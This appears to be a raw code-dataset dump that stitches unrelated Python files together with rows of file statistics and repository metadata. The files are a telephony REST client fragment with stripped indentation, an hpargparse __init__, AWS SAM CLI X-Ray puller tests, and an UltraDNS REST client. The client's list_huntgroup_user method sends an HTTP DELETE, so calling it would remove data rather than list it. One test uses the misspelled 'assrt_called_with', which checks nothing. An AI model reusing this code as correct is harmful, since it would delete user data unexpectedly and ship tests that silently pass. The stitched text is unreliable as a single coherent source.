response = requests.get(url=url, params={"key": self.domain_access_token})
if give_json:
return response.json()
else:
return response.text
def get_user_details(self, user_access_token=None, user_api_key=None, give_json=False):
"""
:param user_access_token:
:param user_api_key:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object of user details depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/users/details"
response = requests.get(url=url, params={"key": self.domain_access_token,
"user_access_token": user_access_token,
"user_api_key": user_api_key})
if give_json:
return response.json()
else:
return response.text
def get_country_code(self, MCC=None, give_json=False):
"""
:param MCC:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/countrycodes"
response = requests.get(url=url, params={"key": self.domain_access_token,
"MCC": MCC})
if give_json:
return response.json()
else:
return response.text
def send_validation_code_sms(self, user_phone_number, user_country_code, give_json=False):
"""
:param user_phone_number:
:param user_country_code:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/verifications/smss"
response = requests.post(url=url, params={"key": self.domain_access_token,
}, data={"user_phone_number": user_phone_number,
"user_country_code": user_country_code})
if give_json:
return response.json()
else:
return response.text
def verify_validation_code(self, validation_code, give_json=False):
"""
:param validation_code:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/verifications/codes"
response = requests.get(url=url, params={"key": self.domain_access_token,
"validation_code": validation_code})
if give_json:
return response.json()
else:
return response.text
def create_hunt_group(self, huntgroup_name, huntgroup_type, pilot_uri_address, overflow_dest, anonymous_uri,
give_json=False):
"""
:param huntgroup_name:
:param huntgroup_type:
:param pilot_uri_address:
:param overflow_dest:
:param anonymous_uri:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/huntgroups"
response = requests.post(url=url, params={"key": self.domain_access_token},
json={"huntgroup_name": huntgroup_name,
"huntgroup_type": huntgroup_type,
"pilot_uri_address": pilot_uri_address,
"overflow_dest": overflow_dest,
"anonymous_uri": anonymous_uri})
if give_json:
return response.json()
else:
return response.text
def delete_hunt_group(self, huntgroup_name, give_json=False):
"""
:param huntgroup_name:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/huntgroups"
response = requests.delete(url=url, params={"key": self.domain_access_token, "huntgroup_name": huntgroup_name})
if give_json:
return response.json()
else:
return response.text
def list_hunt_groups(self, give_json=False):
"""
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/huntgroups"
response = requests.get(url=url, params={"key": self.domain_access_token})
if give_json:
return response.json()
else:
return response.text
def add_huntgroup_user(self, huntgroup_name, user_name, give_json=False):
"""
:param huntgroup_name:
:param user_name:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/huntgroups/users"
response = requests.post(url=url, params={"key": self.domain_access_token},
json={"huntgroup_name": huntgroup_name,
"user_name": user_name})
if give_json:
return response.json()
else:
return response.text
def delete_huntgroup_user(self, huntgroup_name, user_name, give_json=False):
"""
:param huntgroup_name:
:param user_name:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "/domains/huntgroups/users"
response = requests.delete(url=url, params={"key": self.domain_access_token,
"huntgroup_name": huntgroup_name,
"user_name": user_name})
if give_json:
return response.json()
else:
return response.text
def list_huntgroup_user(self, huntgroup_name, give_json=False):
"""
:param huntgroup_name:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/huntgroups/users"
response = requests.delete(url=url, params={"key": self.domain_access_token,
"huntgroup_name": huntgroup_name})
if give_json:
return response.json()
else:
return response.text
def add_admin_to_huntgroup_users(self, huntgroup_name, admin_name, give_json=False):
"""
:param huntgroup_name:
:param admin_name:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "/domains/huntgroups/admins"
response = requests.post(url=url, params={"key": self.domain_access_token},
json={"huntgroup_name": huntgroup_name,
"admin_name": admin_name})
if give_json:
return response.json()
else:
return response.text
def delete_huntgroup_admin(self, huntgroup_name, admin_name, give_json=False):
"""
:param huntgroup_name:
:param admin_name:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/huntgroups/admin"
response = requests.delete(url=url, params={"key": self.domain_access_token,
"huntgroup_name": huntgroup_name,
"admin_name": admin_name})
if give_json:
return response.json()
else:
return response.text
def get_huntgroup_admins(self, huntgroup_name, give_json=False):
"""
:param huntgroup_name:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/huntgroups/admins"
response = requests.get(url=url, params={"key": self.domain_access_token,
"huntgroup_name": huntgroup_name})
if give_json:
return response.json()
else:
return response.text
| 42.672727 | 199 | 0.585489 | 1,887 | 16,429 | 4.872814 | 0.063593 | 0.069603 | 0.044372 | 0.039152 | 0.880152 | 0.844807 | 0.821425 | 0.797716 | 0.783687 | 0.776726 | 0 | 0.000553 | 0.340069 | 16,429 | 384 | 200 | 42.783854 | 0.847537 | 0.296731 | 0 | 0.630208 | 0 | 0 | 0.105237 | 0.028577 | 0 | 0 | 0 | 0 | 0 | 1 | 0.109375 | false | 0.03125 | 0.010417 | 0 | 0.348958 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8bbbd9942ed4e4f3800c411b039ce295e78c8e9c | 49 | py | Python | hpargparse/__init__.py | megvii-research/hpargparse | eedd3d0002d4db0c9dfa16ce9ee6a9a2783f5ccd | [
"MIT"
] | 15 | 2020-05-25T07:48:04.000Z | 2021-12-18T12:07:25.000Z | hpargparse/__init__.py | megvii-research/hpargparse | eedd3d0002d4db0c9dfa16ce9ee6a9a2783f5ccd | [
"MIT"
] | 9 | 2020-05-30T15:19:27.000Z | 2021-01-21T04:37:50.000Z | hpargparse/__init__.py | megvii-research/hpargparse | eedd3d0002d4db0c9dfa16ce9ee6a9a2783f5ccd | [
"MIT"
] | 3 | 2020-05-25T11:42:26.000Z | 2020-08-14T05:58:37.000Z | from .hputils import bind
from .pkginfo import *
| 16.333333 | 25 | 0.77551 | 7 | 49 | 5.428571 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.163265 | 49 | 2 | 26 | 24.5 | 0.926829 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8bd604a6ee8e8b59ae66a05201dc66251be1ea32 | 7,251 | py | Python | tests/unit/lib/observability/xray_traces/test_xray_service_grpah_event_puller.py | zhuhaow/aws-sam-cli | 59d82ec6848b5a0cdd544d8ada838d4d34052971 | [
"Apache-2.0"
] | 2,959 | 2018-05-08T21:48:56.000Z | 2020-08-24T14:35:39.000Z | tests/unit/lib/observability/xray_traces/test_xray_service_grpah_event_puller.py | zhuhaow/aws-sam-cli | 59d82ec6848b5a0cdd544d8ada838d4d34052971 | [
"Apache-2.0"
] | 1,469 | 2018-05-08T22:44:28.000Z | 2020-08-24T20:19:24.000Z | tests/unit/lib/observability/xray_traces/test_xray_service_grpah_event_puller.py | zhuhaow/aws-sam-cli | 59d82ec6848b5a0cdd544d8ada838d4d34052971 | [
"Apache-2.0"
] | 642 | 2018-05-08T22:09:19.000Z | 2020-08-17T09:04:37.000Z | import time
import uuid
from itertools import zip_longest
from unittest import TestCase
from unittest.mock import patch, mock_open, call, Mock, ANY
from botocore.exceptions import ClientError
from parameterized import parameterized
from samcli.lib.observability.xray_traces.xray_event_puller import XRayTracePuller
from samcli.lib.observability.xray_traces.xray_service_graph_event_puller import XRayServiceGraphPuller
class TestXRayServiceGraphPuller(TestCase):
def setUp(self):
self.xray_client = Mock()
self.consumer = Mock()
self.max_retries = 4
self.xray_service_graph_puller = XRayServiceGraphPuller(self.xray_client, self.consumer, self.max_retries)
@patch("samcli.lib.observability.xray_traces.xray_service_graph_event_puller.XRayServiceGraphEvent")
@patch("samcli.lib.observability.xray_traces.xray_service_graph_event_puller.to_utc")
@patch("samcli.lib.observability.xray_traces.xray_service_graph_event_puller.utc_to_timestamp")
def test_load_time_period(self, patched_utc_to_timestamp, patched_to_utc, patched_xray_service_graph_event):
given_paginator = Mock()
self.xray_client.get_paginator.return_value = given_paginator
given_services = [{"EndTime": "endtime", "Services": [{"id": 1}]}]
given_paginator.paginate.return_value = given_services
start_time = "start_time"
end_time = "end_time"
patched_utc_to_timestamp.return_value = 1
self.xray_service_graph_puller.load_time_period(start_time, end_time)
patched_utc_to_timestamp.assert_called()
patched_to_utc.assert_called()
given_paginator.paginate.assert_called_with(StartTime=start_time, EndTime=end_time)
patched_xray_service_graph_event.assrt_called_with({"EndTime": "endtime", "Services": [{"id": 1}]})
self.consumer.consume.assert_called()
@patch("samcli.lib.observability.xray_traces.xray_service_graph_event_puller.XRayServiceGraphEvent")
@patch("samcli.lib.observability.xray_traces.xray_service_graph_event_puller.to_utc")
@patch("samcli.lib.observability.xray_traces.xray_service_graph_event_puller.utc_to_timestamp")
def test_load_time_period_with_same_event_twice(
self, patched_utc_to_timestamp, patched_to_utc, patched_xray_service_graph_event
):
given_paginator = Mock()
self.xray_client.get_paginator.return_value = given_paginator
given_services = [{"EndTime": "endtime", "Services": [{"id": 1}]}]
given_paginator.paginate.return_value = given_services
start_time = "start_time"
end_time = "end_time"
patched_utc_to_timestamp.return_value = 1
self.xray_service_graph_puller.load_time_period(start_time, end_time)
# called with the same event twice
self.xray_service_graph_puller.load_time_period(start_time, end_time)
patched_utc_to_timestamp.assert_called()
patched_to_utc.assert_called()
given_paginator.paginate.assert_called_with(StartTime=start_time, EndTime=end_time)
patched_xray_service_graph_event.assrt_called_with({"EndTime": "endtime", "Services": [{"id": 1}]})
# consumer should only get called once
self.consumer.consume.assert_called_once()
@patch("samcli.lib.observability.xray_traces.xray_service_graph_event_puller.XRayServiceGraphEvent")
def test_load_time_period_with_no_service(self, patched_xray_service_graph_event):
given_paginator = Mock()
self.xray_client.get_paginator.return_value = given_paginator
given_services = [{"EndTime": "endtime", "Services": []}]
given_paginator.paginate.return_value = given_services
start_time = "start_time"
end_time = "end_time"
self.xray_service_graph_puller.load_time_period(start_time, end_time)
patched_xray_service_graph_event.assert_not_called()
self.consumer.consume.assert_not_called()
@patch("samcli.lib.observability.xray_traces.xray_event_puller.time")
@patch("samcli.lib.observability.xray_traces.xray_event_puller.to_timestamp")
@patch("samcli.lib.observability.xray_traces.xray_event_puller.to_datetime")
def test_tail_with_no_data(self, patched_to_datetime, patched_to_timestamp, patched_time):
start_time = Mock()
with patch.object(self.xray_service_graph_puller, "load_time_period") as patched_load_time_period:
self.xray_service_graph_puller.tail(start_time)
patched_to_timestamp.assert_called_with(start_time)
patched_to_datetime.assert_has_calls(
[call(self.xray_service_graph_puller.latest_event_time) for _ in range(self.max_retries)]
)
patched_time.sleep.assert_has_calls(
[call(self.xray_service_graph_puller._poll_interval) for _ in range(self.max_retries)]
)
patched_load_time_period.assert_has_calls([call(ANY, ANY) for _ in range(self.max_retries)])
@patch("samcli.lib.observability.xray_traces.xray_event_puller.time")
@patch("samcli.lib.observability.xray_traces.xray_event_puller.to_timestamp")
@patch("samcli.lib.observability.xray_traces.xray_event_puller.to_datetime")
def test_tail_with_with_data(self, patched_to_datetime, patched_to_timestamp, patched_time):
start_time = Mock()
given_start_time = 5
patched_to_timestamp.return_value = 5
with patch.object(self.xray_service_graph_puller, "_had_data") as patched_had_data:
patched_had_data.side_effect = [True, False]
with patch.object(self.xray_service_graph_puller, "load_time_period") as patched_load_time_period:
self.xray_service_graph_puller.tail(start_time)
patched_to_timestamp.assert_called_with(start_time)
patched_to_datetime.assert_has_calls(
[
call(given_start_time),
],
any_order=True,
)
patched_to_datetime.assert_has_calls([call(given_start_time + 1) for _ in range(self.max_retries)])
patched_time.sleep.assert_has_calls(
[call(self.xray_service_graph_puller._poll_interval) for _ in range(self.max_retries + 1)]
)
patched_load_time_period.assert_has_calls([call(ANY, ANY) for _ in range(self.max_retries + 1)])
@patch("samcli.lib.observability.xray_traces.xray_event_puller.time")
def test_with_throttling(self, patched_time):
with patch.object(
self.xray_service_graph_puller, "load_time_period", wraps=self.xray_service_graph_puller.load_time_period
) as patched_load_time_period:
patched_load_time_period.side_effect = [
ClientError({"Error": {"Code": "ThrottlingException"}}, "operation") for _ in range(self.max_retries)
]
self.xray_service_graph_puller.tail()
patched_load_time_period.assert_has_calls([call(ANY, ANY) for _ in range(self.max_retries)])
patched_time.sleep.assert_has_calls([call(2), call(4), call(16), call(256)])
self.assertEqual(self.xray_service_graph_puller._poll_interval, 256)
| 49.326531 | 117 | 0.728727 | 927 | 7,251 | 5.255663 | 0.11219 | 0.069992 | 0.101806 | 0.069787 | 0.832307 | 0.815476 | 0.79844 | 0.784278 | 0.763752 | 0.758415 | 0 | 0.003714 | 0.183147 | 7,251 | 146 | 118 | 49.664384 | 0.818842 | 0.009516 | 0 | 0.522124 | 0 | 0 | 0.180944 | 0.143892 | 0 | 0 | 0 | 0 | 0.19469 | 1 | 0.061947 | false | 0 | 0.079646 | 0 | 0.150442 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8bed7c524f86e3fb59133e56f951fa02a6a970b0 | 31,811 | py | Python | ultra_rest_client/ultra_rest_client.py | benohara/python_rest_api_client | e4095f28f5cb5e258b768c06ef7cf8b1915aa5ec | [
"Apache-2.0"
] | 19 | 2015-05-04T20:46:12.000Z | 2021-03-02T15:50:17.000Z | ultra_rest_client/ultra_rest_client.py | dvopsway/python_rest_api_client | e4095f28f5cb5e258b768c06ef7cf8b1915aa5ec | [
"Apache-2.0"
] | 4 | 2015-05-08T20:59:09.000Z | 2020-04-01T19:55:29.000Z | ultra_rest_client/ultra_rest_client.py | dvopsway/python_rest_api_client | e4095f28f5cb5e258b768c06ef7cf8b1915aa5ec | [
"Apache-2.0"
] | 18 | 2015-04-17T17:59:35.000Z | 2022-01-03T15:24:40.000Z | # Copyright 2000 - 2013 NeuStar, Inc.All rights reserved.
# NeuStar, the Neustar logo and related names and logos are registered
# trademarks, service marks or tradenames of NeuStar, Inc. All other
# product names, company names, marks, logos and symbols may be trademarks
# of their respective owners.
__author__ = 'Jon Bodner'
from .connection import RestApiConnection
import json
class RestApiClient:
def __init__(self, username, password, use_http=False, host="restapi.ultradns.com"):
"""Initialize a Rest API Client.
Arguments:
username -- The username of the user
password -- The password of the user
Keyword Arguments:
use_http -- For internal testing purposes only, lets developers use http instead of https.
host -- Allows you to point to a server other than the production server.
"""
self.rest_api_connection = RestApiConnection(use_http, host)
self.rest_api_connection.auth(username, password)
# Zones
# create a primary zone
def create_primary_zone(self, account_name, zone_name):
"""Creates a new primary zone.
Arguments:
account_name -- The name of the account that will contain this zone.
zone_name -- The name of the zone. It must be unique.
"""
zone_properties = {"name": zone_name, "accountName": account_name, "type": "PRIMARY"}
primary_zone_info = {"forceImport": True, "createType": "NEW"}
zone_data = {"properties": zone_properties, "primaryCreateInfo": primary_zone_info}
return self.rest_api_connection.post("/v1/zones", json.dumps(zone_data))
# create primary zone by file upload
def create_primary_zone_by_upload(self, account_name, zone_name, bind_file):
"""Creates a new primary zone by uploading a bind file
Arguments:
account_name -- The name of the account that will contain this zone.
zone_name -- The name of the zone. It must be unique.
bind_file -- The file to upload.
"""
zone_properties = {"name": zone_name, "accountName": account_name, "type": "PRIMARY"}
primary_zone_info = {"forceImport": True, "createType": "UPLOAD"}
zone_data = {"properties": zone_properties, "primaryCreateInfo": primary_zone_info}
files = {'zone': ('', json.dumps(zone_data), 'application/json'),
'file': ('file', open(bind_file, 'rb'), 'application/octet-stream')}
return self.rest_api_connection.post_multi_part("/v1/zones", files)
# create a primary zone using axfr
def create_primary_zone_by_axfr(self, account_name, zone_name, master, tsig_key=None, key_value=None):
"""Creates a new primary zone by zone transferring off a master.
Arguments:
account_name -- The name of the account that will contain this zone.
zone_name -- The name of the zone. It must be unique.
master -- Primary name server IP address.
Keyword Arguments:
tsig_key -- For TSIG-enabled zones: The transaction signature key.
NOTE: Requires key_value.
key_value -- TSIG key secret.
"""
zone_properties = {"name": zone_name, "accountName": account_name, "type": "PRIMARY"}
if tsig_key is not None and key_value is not None:
name_server_info = {"ip": master, "tsigKey": tsig_key, "tsigKeyValue": key_value}
else:
name_server_info = {"ip": master}
primary_zone_info = {"forceImport": True, "createType": "TRANSFER", "nameServer": name_server_info}
zone_data = {"properties": zone_properties, "primaryCreateInfo": primary_zone_info}
return self.rest_api_connection.post("/v1/zones", json.dumps(zone_data))
# create a secondary zone
def create_secondary_zone(self, account_name, zone_name, master, tsig_key=None, key_value=None):
"""Creates a new secondary zone.
Arguments:
account_name -- The name of the account.
zone_name -- The name of the zone.
master -- Primary name server IP address.
Keyword Arguments:
tsig_key -- For TSIG-enabled zones: The transaction signature key.
NOTE: Requires key_value.
key_value -- TSIG key secret.
"""
zone_properties = {"name": zone_name, "accountName": account_name, "type": "SECONDARY"}
if tsig_key is not None and key_value is not None:
name_server_info = {"ip": master, "tsigKey": tsig_key, "tsigKeyValue": key_value}
else:
name_server_info = {"ip": master}
name_server_ip_1 = {"nameServerIp1": name_server_info}
name_server_ip_list = {"nameServerIpList": name_server_ip_1}
secondary_zone_info = {"primaryNameServers": name_server_ip_list}
zone_data = {"properties": zone_properties, "secondaryCreateInfo": secondary_zone_info}
return self.rest_api_connection.post("/v1/zones", json.dumps(zone_data))
# force zone axfr
def force_axfr(self, zone_name):
"""Force a secondary zone transfer.
Arguments:
zone_name -- The zone name. The trailing dot is optional.
"""
return self.rest_api_connection.post("/v1/zones/" + zone_name + "/transfer")
# convert secondary
def convert_zone(self, zone_name):
"""Convert a secondary zone to primary. This cannot be reversed.
Arguments:
zone_name -- The zone name. The trailing dot is optional.
"""
return self.rest_api_connection.post("/v1/zones/" + zone_name + "/convert")
# list zones for account
def get_zones_of_account(self, account_name, q=None, **kwargs):
"""Returns a list of zones for the specified account.
Arguments:
account_name -- The name of the account.
Keyword Arguments:
q -- The search parameters, in a dict. Valid keys are:
name - substring match of the zone name
zone_type - one of:
PRIMARY
SECONDARY
ALIAS
sort -- The sort column used to order the list. Valid values for the sort field are:
NAME
ACCOUNT_NAME
RECORD_COUNT
ZONE_TYPE
reverse -- Whether the list is ascending(False) or descending(True)
offset -- The position in the list for the first returned element(0 based)
limit -- The maximum number of rows to be returned.
"""
uri = "/v1/accounts/" + account_name + "/zones"
params = build_params(q, kwargs)
return self.rest_api_connection.get(uri, params)
# list zones for all user accounts
def get_zones(self, q=None, **kwargs):
"""Returns a list of zones across all of the user's accounts.
Keyword Arguments:
q -- The search parameters, in a dict. Valid keys are:
name - substring match of the zone name
zone_type - one of:
PRIMARY
SECONDARY
ALIAS
sort -- The sort column used to order the list. Valid values for the sort field are:
NAME
ACCOUNT_NAME
RECORD_COUNT
ZONE_TYPE
reverse -- Whether the list is ascending(False) or descending(True)
offset -- The position in the list for the first returned element(0 based)
limit -- The maximum number of rows to be returned.
"""
uri = "/v1/zones"
params = build_params(q, kwargs)
return self.rest_api_connection.get(uri, params)
# get zone metadata
def get_zone_metadata(self, zone_name):
"""Returns the metadata for the specified zone.
Arguments:
zone_name -- The name of the zone being returned.
"""
return self.rest_api_connection.get("/v1/zones/" + zone_name)
# delete a zone
def delete_zone(self, zone_name):
"""Deletes the specified zone.
Arguments:
zone_name -- The name of the zone being deleted.
"""
return self.rest_api_connection.delete("/v1/zones/" + zone_name)
# update secondary zone name servers (PATCH)
def edit_secondary_name_server(self, zone_name, primary=None, backup=None, second_backup=None):
"""Edit the axfr name servers of a secondary zone.
Arguments:
zone_name -- The name of the secondary zone being edited.
primary -- The primary name server value.
Keyword Arguments:
backup -- The backup name server if any.
second_backup -- The second backup name server.
"""
name_server_info = {}
if primary is not None:
name_server_info['nameServerIp1'] = {'ip':primary}
if backup is not None:
name_server_info['nameServerIp2'] = {'ip':backup}
if second_backup is not None:
name_server_info['nameServerIp3'] = {'ip':second_backup}
name_server_ip_list = {"nameServerIpList": name_server_info}
secondary_zone_info = {"primaryNameServers": name_server_ip_list}
zone_data = {"secondaryCreateInfo": secondary_zone_info}
return self.rest_api_connection.patch("/v1/zones/" + zone_name, json.dumps(zone_data))
# RRSets
# list rrsets for a zone
def get_rrsets(self, zone_name, q=None, **kwargs):
"""Returns the list of RRSets in the specified zone.
Arguments:
zone_name -- The name of the zone.
Keyword Arguments:
q -- The search parameters, in a dict. Valid keys are:
ttl - must match the TTL for the rrset
owner - substring match of the owner name
value - substring match of the first BIND field value
sort -- The sort column used to order the list. Valid values for the sort field are:
OWNER
TTL
TYPE
reverse -- Whether the list is ascending(False) or descending(True)
offset -- The position in the list for the first returned element(0 based)
limit -- The maximum number of rows to be returned.
"""
uri = "/v1/zones/" + zone_name + "/rrsets"
params = build_params(q, kwargs)
return self.rest_api_connection.get(uri, params)
# list rrsets by type for a zone
# q The query used to construct the list. Query operators are ttl, owner, and value
def get_rrsets_by_type(self, zone_name, rtype, q=None, **kwargs):
"""Returns the list of RRSets in the specified zone of the specified type.
Arguments:
zone_name -- The name of the zone.
rtype -- The type of the RRSets. This can be numeric (1) or
if a well-known name is defined for the type (A), you can use it instead.
Keyword Arguments:
q -- The search parameters, in a dict. Valid keys are:
ttl - must match the TTL for the rrset
owner - substring match of the owner name
value - substring match of the first BIND field value
sort -- The sort column used to order the list. Valid values for the sort field are:
OWNER
TTL
TYPE
reverse -- Whether the list is ascending(False) or descending(True)
offset -- The position in the list for the first returned element(0 based)
limit -- The maximum number of rows to be returned.
"""
uri = "/v1/zones/" + zone_name + "/rrsets/" + rtype
params = build_params(q, kwargs)
return self.rest_api_connection.get(uri, params)
# list rrsets by type and owner for a zone
# q The query used to construct the list. Query operators are ttl, owner, and value
def get_rrsets_by_type_owner(self, zone_name, rtype, owner_name, q=None, **kwargs):
"""Returns the list of RRSets in the specified zone of the specified type.
Arguments:
zone_name -- The name of the zone.
rtype -- The type of the RRSets. This can be numeric (1) or
if a well-known name is defined for the type (A), you can use it instead.
owner_name -- The owner name for the RRSet.
If no trailing dot is supplied, the owner_name is assumed to be relative (foo).
If a trailing dot is supplied, the owner name is assumed to be absolute (foo.zonename.com.)
Keyword Arguments:
q -- The search parameters, in a dict. Valid keys are:
ttl - must match the TTL for the rrset
value - substring match of the first BIND field value
sort -- The sort column used to order the list. Valid values for the sort field are:
TTL
TYPE
reverse -- Whether the list is ascending(False) or descending(True)
offset -- The position in the list for the first returned element(0 based)
limit -- The maximum number of rows to be returned.
"""
uri = "/v1/zones/" + zone_name + "/rrsets/" + rtype + "/" + owner_name
params = build_params(q, kwargs)
return self.rest_api_connection.get(uri, params)
# create an rrset
def create_rrset(self, zone_name, rtype, owner_name, ttl, rdata):
"""Creates a new RRSet in the specified zone.
Arguments:
zone_name -- The zone that will contain the new RRSet. The trailing dot is optional.
rtype -- The type of the RRSet. This can be numeric (1) or
if a well-known name is defined for the type (A), you can use it instead.
owner_name -- The owner name for the RRSet.
If no trailing dot is supplied, the owner_name is assumed to be relative (foo).
If a trailing dot is supplied, the owner name is assumed to be absolute (foo.zonename.com.)
ttl -- The TTL value for the RRSet.
rdata -- The BIND data for the RRSet as a string.
If there is a single resource record in the RRSet, you can pass in the single string.
If there are multiple resource records in this RRSet, pass in a list of strings.
"""
if type(rdata) is not list:
rdata = [rdata]
rrset = {"ttl": ttl, "rdata": rdata}
return self.rest_api_connection.post("/v1/zones/" + zone_name + "/rrsets/" + rtype + "/" + owner_name, json.dumps(rrset))
# edit an rrset (PUT)
def edit_rrset(self, zone_name, rtype, owner_name, ttl, rdata, profile=None):
"""Updates an existing RRSet in the specified zone.
Arguments:
zone_name -- The zone that contains the RRSet. The trailing dot is optional.
rtype -- The type of the RRSet. This can be numeric (1) or
if a well-known name is defined for the type (A), you can use it instead.
owner_name -- The owner name for the RRSet.
If no trailing dot is supplied, the owner_name is assumed to be relative (foo).
If a trailing dot is supplied, the owner name is assumed to be absolute (foo.zonename.com.)
ttl -- The updated TTL value for the RRSet.
rdata -- The updated BIND data for the RRSet as a string.
If there is a single resource record in the RRSet, you can pass in the single string.
If there are multiple resource records in this RRSet, pass in a list of strings.
profile -- The profile info if this is updating a resource pool
"""
if type(rdata) is not list:
rdata = [rdata]
rrset = {"ttl": ttl, "rdata": rdata}
if profile:
rrset["profile"] = profile
uri = "/v1/zones/" + zone_name + "/rrsets/" + rtype + "/" + owner_name
return self.rest_api_connection.put(uri, json.dumps(rrset))
# edit an rrset's rdata (PATCH)
def edit_rrset_rdata(self, zone_name, rtype, owner_name, rdata, profile=None):
"""Updates an existing RRSet's Rdata in the specified zone.
Arguments:
zone_name -- The zone that contains the RRSet. The trailing dot is optional.
rtype -- The type of the RRSet. This can be numeric (1) or
if a well-known name is defined for the type (A), you can use it instead.
owner_name -- The owner name for the RRSet.
If no trailing dot is supplied, the owner_name is assumed to be relative (foo).
If a trailing dot is supplied, the owner name is assumed to be absolute (foo.zonename.com.)
rdata -- The updated BIND data for the RRSet as a string.
If there is a single resource record in the RRSet, you can pass in the single string.
If there are multiple resource records in this RRSet, pass in a list of strings.
profile -- The profile info if this is updating a resource pool
"""
if type(rdata) is not list:
rdata = [rdata]
rrset = {"rdata": rdata}
method = "patch"
if profile:
rrset["profile"] = profile
method = "put"
uri = "/v1/zones/" + zone_name + "/rrsets/" + rtype + "/" + owner_name
return getattr(self.rest_api_connection, method)(uri,json.dumps(rrset))
# delete an rrset
def delete_rrset(self, zone_name, rtype, owner_name):
"""Deletes an RRSet.
Arguments:
zone_name -- The zone containing the RRSet to be deleted. The trailing dot is optional.
rtype -- The type of the RRSet. This can be numeric (1) or
if a well-known name is defined for the type (A), you can use it instead.
owner_name -- The owner name for the RRSet.
If no trailing dot is supplied, the owner_name is assumed to be relative (foo).
If a trailing dot is supplied, the owner name is assumed to be absolute (foo.zonename.com.)
"""
return self.rest_api_connection.delete("/v1/zones/" + zone_name + "/rrsets/" + rtype + "/" + owner_name)
# Web Forwards
# get web forwards
def get_web_forwards(self, zone_name):
"""Return all web forwards for a specific zone.
Arguments:
zone_name -- The zone for which to return a list of current web forwards. The response will include
the system-generated guid for each object.
"""
return self.rest_api_connection.get("/v1/zones/" + zone_name + "/webforwards")
# create web forward
def create_web_forward(self, zone_name, request_to, redirect_to, forward_type):
"""Create a web forward record.
Arguments:
zone_name -- The zone in which the web forward is to be created.
request_to -- The URL to be redirected. You may use http:// and ftp://.
forward_type -- The type of forward. Valid options include:
Framed
HTTP_301_REDIRECT
HTTP_302_REDIRECT
HTTP_303_REDIRECT
HTTP_307_REDIRECT
"""
web_forward = {"requestTo": request_to, "defaultRedirectTo": redirect_to, "defaultForwardType": forward_type}
return self.rest_api_connection.post("/v1/zones/" + zone_name + "/webforwards", json.dumps(web_forward))
# delete web forward
def delete_web_forward(self, zone_name, guid):
"""Return all web forwards for a specific zone.
Arguments:
zone_name -- The zone containing the web forward to be deleted.
guid -- The system-generated unique id for the web forward.
"""
return self.rest_api_connection.delete("/v1/zones/" + zone_name + "/webforwards/" + guid)
# Accounts
# get account details for user
def get_account_details(self):
"""Returns a list of all accounts of which the current user is a member."""
return self.rest_api_connection.get("/v1/accounts")
# Version
# get version
def version(self):
"""Returns the version of the REST API server."""
return self.rest_api_connection.get("/v1/version")
# Status
# get status
def status(self):
"""Returns the status of the REST API server."""
return self.rest_api_connection.get("/v1/status")
# Tasks
def get_all_tasks(self):
return self.rest_api_connection.get("/v1/tasks")
def get_task(self, task_id):
return self.rest_api_connection.get("/v1/tasks/"+task_id)
def clear_task(self, task_id):
return self.rest_api_connection.delete("/v1/tasks/"+task_id)
# Batch
def batch(self, batch_list):
"""Sends multiple requests as a single transaction.
Arguments:
batch_list -- a list of request objects.
Each request must have:
method -- valid values are POST, PATCH, PUT, GET, DELETE
uri -- The path for the request
If the request should have a body, there is a third field:
body (only if required) - The body of the request
"""
return self.rest_api_connection.post("/v1/batch", json.dumps(batch_list))
# Create an SB Pool
# Sample JSON for an SB pool -- see the REST API docs for their descriptions
# {
# "ttl": 120,
# "rdata": [
